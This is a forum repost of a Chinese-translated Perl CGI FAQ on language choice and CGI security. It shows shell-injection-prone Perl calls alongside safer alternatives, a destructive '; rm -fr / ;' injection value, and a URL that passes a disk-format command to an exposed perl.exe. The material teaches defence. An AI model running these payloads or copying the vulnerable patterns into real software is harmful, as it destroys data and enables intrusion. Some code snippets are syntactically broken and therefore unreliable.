Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢?
每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 CGI 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 C 或 C++来写。如果您求快的话(指发展所花费的时间而言), 那麽 Perl 是正确的选择!

一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 shell 在先 天上容易产生安全问题。


--------------------------------------------------------------------------------

5.0 - 安全

--------------------------------------------------------------------------------

Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全?
这个问题的答案是: CGI 程式先天上就不安全,不管它是用那个语言写成的*。

【译者】WWW 及 CGI 操作安全 FAQ 中问题第 31 对此有深入的探讨。


--------------------------------------------------------------------------------

Q5.2:我该特别留意哪些安全事项?
绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞:


open(COMMAND, "/usr/ucb/finger $form_user";

system("/usr/ucb/finger $form_user";

@data = `usr/ucb/finger $form_user`;
话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送的方式而得以改 善。也就是将参数由字串方式传送 (shell 会先解译),改为序列方式传送。

system("/usr/ucb/finger", $form_user);
您同时应该阅读:


由 Lincoln Stein 所着,一份很完整的 WWW 及 CGI 操作安全 FAQ

Paul Phillips 所着,CGI 安全 FAQ


--------------------------------------------------------------------------------

Q5.3:为什麽大家都说
http://bigidiot.abuse-me.com/perl.exe?foo.pl 这样很危险?会有多糟?
极度危险! 想想看如果我这麽做会发生什麽事:

http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
现在您同意了吧?避免这个恶梦发生的方法:

将 perl.exe 执行档由 ``cgi-bin'' 移到 server 根目录以外的目录里去。
在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI script。
以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫 ``simple.bat'':


@echo off

c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl


现在,您可以做:
<A HREF="/cgi-bin/simple.bat">;Click Here</A>;


--------------------------------------------------------------------------------

Q5.4:要如何在程式中安全地使用逆向撇号 (backticks,"`",位於键盘左上角)?这麽做:
@ans = `grep'$user_field' some.file`;
是不是真的不安全?
是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後 果:


; rm -fr / ;


要达到相同的效果,一个比较安全的做法是*:


if (open GREP, "-|" {

  @ans = <GREP>;;

} else {

  exec("/usr/local/bin/grep", $user_field, "some.file"

    || die "Error exec'ing command", "\n";

}


close GREP;


【译者】 如果读者对以上 open GREP, "-|"部份的句法有疑问,可以 参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。


--------------------------------------------------------------------------------

Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime) 去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险:


foreach $regexp (@all_regexps) {

  eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";

}
-----------------------------------------------------
END
厉害
真不错!已帮你拷贝到perl坛子一份了。
hao, ding
楼主能不能禁用表情再修改一下,谢谢。